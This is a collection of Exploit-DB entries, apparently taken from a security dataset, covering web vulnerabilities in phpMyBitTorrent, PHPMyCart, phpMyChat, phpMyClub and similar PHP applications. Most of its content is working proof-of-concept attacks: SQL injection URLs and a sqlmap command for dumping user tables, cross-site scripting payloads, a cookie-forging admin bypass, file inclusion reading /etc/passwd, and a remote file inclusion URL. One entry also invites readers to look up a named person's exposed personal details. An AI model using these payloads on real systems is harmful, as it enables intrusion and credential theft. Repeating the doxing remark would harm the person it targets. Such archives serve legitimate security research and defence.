deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16170
Description: phpMyBitTorrent 2.0.4 - SQL Injection
Type: webapps
Platform: php
Date: 2011-02-15
Author: #forkbombers

Exploit:
# Exploit Title: phpMyBitTorrent 2.0.4 SQL injection
# Google Dork: inurl:"user.php?op=register"
# Date: 14/FEB/2011
# Author: #forkbombers@irc.smashthestack.org
# Software Link: http://sourceforge.net/projects/phpmybittorrent/
# Version: 2.0.4
# Tested on: *nix

----------------------------------------------------------------------
			[INFO]

Sadly although the Google dork returns 36,000 results for this to work the invitation
system needs to be enabled for this exploit to work. Fucking useless to me.

----------------------------------------------------------------------
			[XPL]

localhost/torrents/confirminvite.php?id=1'

Error Executing SQL Query SELECT password, active FROM torrent_users WHERE id =

----------------------------------------------------------------------
			[CODE]
[code]
$sql = "SELECT password, active FROM ".$db_prefix."_users WHERE id = $id";
$res = $db->sql_query($sql) or btsqlerror($sql);
$row = $db->sql_fetchrow($res);

if (!$row)
bterror(_bterrusernotexists,_btsorry);

if ($row["active"] != '0') {
OpenTable(_btsignup);
echo "<p>"._btuseralreadyactive."</p>";
CloseTable();
include('footer.php')
[/code]

----------------------------------------------------------------------
			[CREDS]

Thanks to Gumbie@irc.efnet.org for letting me use his box to test :)
Fuck ak for being such a bitch (not really <3 u), btw his d0x are g00gleiz3d if you want to give him a call

----------------------------------------------------------------------
Exploit-DB #9053
Description: phpMyBlockchecker 1.0.0055 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-06-30
Author: SirGod

Exploit:
################################################################################################################
[+] phpMyBlockchecker 1.0.0055 Insecure Cookie Handling Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#################################################################################################################

[+] Download Script :
http://sourceforge.net/project/showfiles.php?group_id=116966&package_id=152150&release_id=326884

[+] Insecure Cookie Handling

 - Vulnerable code in admin.php

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
if ($_COOKIE[PHPMYBCAdmin] == '') {
if (!$_POST[login] == 'login') {
die("Please Login:<BR><form method=post><input type=password
name=password><input type=hidden value=login name=login><input
type=submit></form>");
} elseif($_POST[password] == $bcadminpass) {
setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
header("Location: admin.php"); } else { die("Incorrect"); }
}
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

 - PoC

    javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";
document.cookie = "[PII_REDACTED]; path=/";


#################################################################################################################

# milw0rm.com [2009-06-30]
Exploit-DB #5812
Description: PHPMyCart 1.3 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-14
Author: anonymous

Exploit:
######################
#
#PHPMyCart Injection Vulnerability
#
######################
#
#Bug by: h0yt3r
#
##
###
##
#
#Script suffers from a not correctly verified category id variable which is used in SQL Querys.
#An Attacker can easily get sensitive information from the database by
#injecting unexpected SQL Querys.
#
#We dont get any SQL Errors when the Injection Query appear to be false.
#However we have to look for content changing when we inject.
#Look at AND 1=1/AND 1=0
#All rows are echoed on the left side.
#
#SQL Injection:
#http://[target]/[path]/shop.php?cat=[SQL]
#
#PoC:
#shop.php?cat=2%20and%201=0%20union%20select%201,concat(name,0x3a,login,0x3a,@@VERSION,0x3a,user(),0x3a,database())%20from%20user
#
#######################
#
#Greetz to b!zZ!t, ramon, thund3r, Free-Hack, Sys-Flaw and of course the neverdying h4ck-y0u Team!
#
#######################
####################### 

# milw0rm.com [2008-06-14]
Exploit-DB #33449
Description: PHPMyCart 1.3 - Cross-Site Scripting / Authentication Bypass
Type: webapps
Platform: php
Date: 2009-12-31
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37553/info

Conkurent PHPMyCart is prone to a cross-site scripting vulnerability and an authentication-bypass vulnerability.

An attacker may leverage these issues to gain unauthorized access to the affected application and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHPMyCart 1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/sm-pmc13/sign_aff.php?pflag=add&name=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>&email=indoushka%40example%2Ecom&addr=indoushka@example.com&submit=Submit
http://www.example.com/sm-pmc13/admin/indexa.php
http://www.example.com/sm-pmc13/admin/addn.php
Exploit-DB #30847
Description: phpMyChat 0.14.5 - '/chat/users_popupL.php3' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-12-04
Author: beenudel1986

Exploit:
source: https://www.securityfocus.com/bid/26698/info
 
phpMyChat is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
phpMyChat 0.14.5 is vulnerable; other versions may also be affected. 

http://www.example.com/mychat/chat/users_popupL.php3?From=..%2FphpMyChat.php3&L=english&LastCheck= 
"></STYLE><STYLE>@import"javascript:alert(&#039;This%20XSS%20Is%20Xss&#039;)";</STYLE>&#039;
=http://www.example.com/phpmychat/chat/users_popupL.php3?From=..%2FphpMyChat.php3&L=english&LastCheck=[PII_REDACTED]&B= 
>"><script>alert("This%20XSS%20Test%20Successful")</script>
Exploit-DB #30846
Description: phpMyChat 0.14.5 - 'chat/deluser.php3?LIMIT' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-12-04
Author: beenudel1986

Exploit:
source: https://www.securityfocus.com/bid/26698/info

phpMyChat is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

phpMyChat 0.14.5 is vulnerable; other versions may also be affected. 

http://www.example.com/phpmychat/chat/deluser.php3?L=english&Link=&LIMIT=>"&#039;><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;Successfull%26%23x20;XSS%26%23x20;Test%26%23x20;Here%26quot;)>&AUTH_USERNAME=&AUTH_PASSWORD=
Exploit-DB #31467
Description: phpMyChat 0.14.5 - 'setup.php3' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-22
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28399/info

phpMyChat is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

phpMyChat 0.14.5 is vulnerable; other versions may also be affected. 

http://www.example.com/chat/setup.php3?Lang="<xss>
Exploit-DB #26694
Description: PHPMyChat 0.14.6 - 'start_page.css.php?medium' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-01
Author: Louis Wang

Exploit:
source: https://www.securityfocus.com/bid/15679/info

phpMyChat is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

phpMyChat 0.14.5 is vulnerable; other versions may also be affected.

http://www.example.com/phpmychat/chat/config/start_page.css.php?medium=><script>alert[PII_REDACTED]9742472);</script>&FontName=1
Exploit-DB #26695
Description: PHPMyChat 0.14.6 - 'style.css.php?medium' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-01
Author: Louis Wang

Exploit:
source: https://www.securityfocus.com/bid/15679/info
 
phpMyChat is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
phpMyChat 0.14.5 is vulnerable; other versions may also be affected.

http://www.example.com/phpmychat/chat/config/style.css.php?medium=><script>alert[PII_REDACTED]9742472);</script>&FontName=1
Exploit-DB #26696
Description: PHPMyChat 0.14.6 - 'users_popupL.php?From' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-01
Author: Louis Wang

Exploit:
source: https://www.securityfocus.com/bid/15679/info
  
phpMyChat is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
phpMyChat 0.14.5 is vulnerable; other versions may also be affected.

http://www.example.com/phpmychat/chat/users_popupL.php?From="><script>alert[PII_REDACTED]9742472);</script>>&L=english&LastCheck=[PII_REDACTED]&B=0
Exploit-DB #28940
Description: PHPMyChat 0.14/0.15 - 'Languages.Lib.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2006-11-08
Author: ajann

Exploit:
source: https://www.securityfocus.com/bid/20962/info

phpMyChat is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

phpMyChat 0.15.0 and prior versions are vulnerable to this issue; other versions may also be affected.

http://www.example.com/path/localization/languages.lib.php3?ChatPath=../../etc/passwd
Exploit-DB #28945
Description: PHPMyChat Plus 1.9 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2006-11-08
Author: ajann

Exploit:
source: https://www.securityfocus.com/bid/20972/info

phpMyChat is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an unauthorized user to view files and execute local scripts.

phpMyChat Plus 1.9 and prior versions are vulnerable to these issues; other versions may also be affected.

http://www.example.com/path/avatar.php?ChatPath=../../etc/passwd
http://www.example.com/path/colorhelp_popup.php?ChatPath=../../etc/passwd
http://www.example.com/path/color_popup.php?ChatPath=../../etc/passwd
http://www.example.com/index.php?ChatPath=../../etc/passwd
http://www.example.com/path/lib/connected_users.lib.php?ChatPath=../../etc/passwd
http://www.example.com/path/avatar.php?ChatPath=../../etc/passwd
http://www.example.com/path/lib/index.lib.php?ChatPath=../../etc/passwd
http://www.example.com/path/logs.php?L=../../etc/passwd
http://www.example.com/path/phpMyChat.php3?ChatPath=../../etc/passwd
Exploit-DB #17213
Description: phpmychat plus 1.93 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-25
Author: AutoSec Tools

Exploit:
------------------------------------------------------------------------
Software................phpMyChat Plus 1.93
Vulnerability...........Blind SQL Injection
Threat Level............Serious (3/5)
Download................http://sourceforge.net/projects/phpmychat/
Discovery Date..........4/25/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A SQL injection vulnerability in phpMyChat Plus 1.93 can be exploited
to extract arbitrary data.


--PoC--

POST /plus/lurking.php HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
User-Agent: x
Content-Length: 0
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----x
Cookie: CookieUsername=[SQL]; CookieStatus=[SQL]; CookieRoom=x; CookieLang=x; CookieUserSort=x
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

------------------------------------------------------------------------
Software................phpMyChat Plus 1.93
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://sourceforge.net/projects/phpmychat/
Discovery Date..........5/14/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A local file inclusion vulnerability in phpMyChat Plus 1.93 can be
exploited to include arbitrary files.


--PoC--

http://localhost/plus/install/old/install.php?L=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00

------------------------------------------------------------------------
Software................phpMyChat Plus 1.93
Vulnerability...........Reflected Cross-site Scripting
Threat Level............Low (1/5)
Download................http://sourceforge.net/projects/phpmychat/
Discovery Date..........4/25/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A reflected cross-site scripting vulnerability in phpMyChat Plus 1.93
can be exploited to execute arbitrary JavaScript.


--PoC--

http://localhost/plus/avatar.php?pmc_[CREDENTIAL_REDACTED]/script%3E
Exploit-DB #21740
Description: phpMyChat Plus 1.94 RC1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-10-04
Author: L0n3ly-H34rT

Exploit:
############################################
### Exploit Title: phpMyChat Plus v1.94 RC1 Multiple Remote Vulnerabilities
### Date: 04/10/2012 
### Author: L0n3ly-H34rT 
### Contact: l0n3ly_h34rt@hotmail.com 
### My Site: http://se3c.blogspot.com/ 
### Vendor Link: http://sourceforge.net/projects/phpmychat/
### Software Link: http://sourceforge.net/projects/phpmychat/files/latest/download
### Version: 1.94 RC1
### Tested on: Linux/Windows 
############################################

1- Remote Blind SQL Injection :

# P.O.C :

http://localhost/plus/users_popuph.php?B=1&From=remotelogin.php&L=hebrew&LastCheck=[Blind SQL]

----------------------------------------------------------------------------------------

2- Remote File Inclusion :

# P.O.C :

http://localhost/plus/install/old/install.php?ChatPath=http://127.0.0.1/c.txt?

----------------------------------------------------------------------------------------

3- Local File Inclusion :

- Based on this exploit :

http://www.exploit-db.com/exploits/17213/

# P.O.C :

http://localhost/plus/install/old/install.php?ChatPath=../../../../../../boot.ini%00

http://localhost/plus/install/old/install.php?L=../../../../../../boot.ini%00

---------------------------------------------------------------------------------------

4- XSS :

# P.O.C :

http://localhost/plus/input.php?D=20&From=remotelogin.php&L=serbian_latin&N=10&NT=1&O=1&R=Public Room 1&ST=1&T=1&U=[XSS]&Ver=H

http://localhost/plus/users_popuph.php?B=1&From=remotelogin.php&L=chinese_traditional&LastCheck=[XSS]


############################################

# Notes :

1- For Remote Blind SQL Injection ( you can use some automatic blind sql injection to get database informations ).

2- For Remote File Inclusion ( must be allow_url_include=On ).

3- For Local File Inclusion ( must be magic_quotes_gpc = Off )

4- For XSS ( you must have a good brain :p )

# Greetz to my friendz
Exploit-DB #48066
Description: phpMyChat Plus 1.98 - 'pmc_username' SQL Injection
Type: webapps
Platform: php
Date: 2020-02-14
Author: J3rryBl4nks

Exploit:
# Title: phpMyChat Plus 1.98 - 'pmc_username' SQL Injection
# Date: 2020-02-13
# Exploit Author: J3rryBl4nks
# Vendor Homepage: http://ciprianmp.com/latest/
# Software Link: https://sourceforge.net/projects/phpmychat/files/phpMyChat_Plus/
# Version MyChat Plus 1.98
# Tested on Windows 10/Kali Rolling

# The phpMyChat Plus 1.98 application is vulnerable to Sql Injection 
# (Boolean based blind, Error-based, time-based blind) on the deluser.php page 
# through the pmc_user parameter.

# POC code:
# Capture the request through Burpsuite:

POST /plus/deluser.php HTTP/1.1
Host: HOSTNAME
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://HOSTNAME/plus/deluser.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Connection: close
Cookie: CookieLang=english; temp=temp; CookieUsername=testing; CookieRoom=Public%2BRoom%2B1; CookieRoomType=1; CookieStatus=r; PHPSESSID=0srffkdt9nu2jis443pp9nh3i9
Upgrade-Insecure-Requests: 1

L=english&Link=&LIMIT=0&pmc_username=test&pmc_[CREDENTIAL_REDACTED]_form=Log+In


# Then use sqlmap to get the user tables:

sqlmap -r deleteuserlogin.req --level=5 --risk=3 --dbms=mysql --tamper=unmagicquotes -D DBNAME --dump -T c_reg_users -p pmc_username

Parameter: pmc_username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: L=english&Link=&LIMIT=0&pmc_username=test' AND 9736=(SELECT (CASE WHEN (9736=9736) THEN 9736 ELSE (SELECT 2847 UNION SELECT 9983) END))-- qEHq&pmc_[CREDENTIAL_REDACTED]_form=Log In

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: L=english&Link=&LIMIT=0&pmc_username=test' OR (SELECT 7708 FROM(SELECT COUNT(*),CONCAT(0x7170627a71,(SELECT (ELT(7708=7708,1))),0x7162627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ShDx&pmc_[CREDENTIAL_REDACTED]_form=Log In

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: L=english&Link=&LIMIT=0&pmc_username=test' AND (SELECT 5588 FROM (SELECT(SLEEP(5)))wWnk)-- FHPh&pmc_[CREDENTIAL_REDACTED]_form=Log In
Exploit-DB #47798
Description: phpMyChat-Plus 1.98 - 'pmc_username' Reflected Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-12-20
Author: Chris Inzinga

Exploit:
# Exploit Title: phpMyChat-Plus 1.98 - 'pmc_username' Reflected Cross-Site Scripting
# Date: 2019-12-19
# Exploit Author: Chris Inzinga
# Vendor Homepage: http://ciprianmp.com/latest/
# Download: https://sourceforge.net/projects/phpmychat/
# Tested On: Linux & Mac
# Version: 1.98
# CVE: CVE-2019-19908

Description: 
The "pmc_username" parameter of pass_reset.php is vulnerable to reflected XSS

Payload: 
"><script>alert('xss')</script>

Vulnerable URL: 
http://localhost/plus/pass_reset.php?L=english&pmc_username="><script>alert('xss')</script>
Exploit-DB #5000
Description: phpMyClub 0.0.1 - 'page_courante' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-01-28
Author: S.W.A.T.

Exploit:
## phpMyClub Local File Inclusion Vulnerability  

## Download script :
http://ovh.dl.sourceforge.net/sourceforge/phpmyclub/phpMyClub-0.0.1.zip

## Author : S.W.A.T.

## E-Mail : svvateam@yahoo.com - swat@svvat.ir

## Home : http://svvat.ir

## For Execute Exploit Does Not Write Extention Of
File

## example : [script]/?page_courante=../config/config

## exploit :

## http://localhost/[script]/?page_courante=../[name of file without .php]
##
http://localhost/[script]/?page_courante=../config/config

## Greetz:

## Xmors Digital Security Team - Str0ke - Dj7xpl - DarKLiFe - NazNazi

## In Portland Now - Maybe I Can't See IRAN Anyway (
This Is Really Bye NET  :(  For Ever )

  
#########################################################################
   #								           #
   #   BYE ALL MY FRIENDS OVER THE NET & EVERYTHING ON THE NET             #
   #								           #
   #########################################################################


# milw0rm.com [2008-01-28]